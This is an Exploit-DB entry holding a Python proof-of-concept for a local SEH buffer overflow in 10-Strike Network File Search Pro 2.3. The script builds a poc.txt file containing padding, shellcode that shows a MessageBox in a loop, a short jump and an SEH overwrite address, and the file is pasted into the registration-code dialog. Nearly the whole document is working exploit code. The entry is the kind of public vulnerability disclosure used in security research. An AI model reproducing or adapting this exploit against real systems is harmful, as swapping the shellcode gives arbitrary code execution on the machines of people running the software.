10-Strike Network File Search Pro 2.3 - Local Buffer Overflow (SEH)

Author: malwrforensics
type: local
platform: windows
port: 
date_added: 2016-12-12 
date_updated: 2016-12-12 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt41000/screen-shot-2016-12-12-at-094651.png 
application_url: http://www.exploit-db.comnetwork-file-search-pro.exe

#!python
#####################################################################################
# Exploit title: 10-Strike Network File Search Pro 2.3 Registration code SEH exploit
# Date: 2016-12-10
# Vendor homepage: https://www.10-strike.com/network-file-search/help/pro.shtml
# Download: https://www.10-strike.com/network-file-search/network-file-search-pro.exe
# Tested on: Win7 SP1
# Author: malwrforensics
# Details: Help->Enter registration code... and paste the text from poc.txt
#####################################################################################

def write_poc(fname, buffer):
	fhandle = open(fname , 'wb')
	fhandle.write(buffer)
	fhandle.close()

fname="poc.txt"
buf = '\x41' * 0xfe0

#########################
# Shellcode
# MessageBox ad infinitum
#########################
shellcode = ("\x68\x24\x3F\x30\x41\x58\x35\x70\x41\x70"
"\x41\x50\x59\x68\x41\x41\x41\x41\x58\x35"
"\x41\x41\x41\x41\x50\x50\x50\x50\x51\xC3")

junk = '\x41' * 0x5e
jmp = '\xeb\x82\x41\x41'
nseh = '\xec\x14\x40\x00'
buffer = buf + shellcode + junk + jmp + nseh
write_poc(fname, buffer)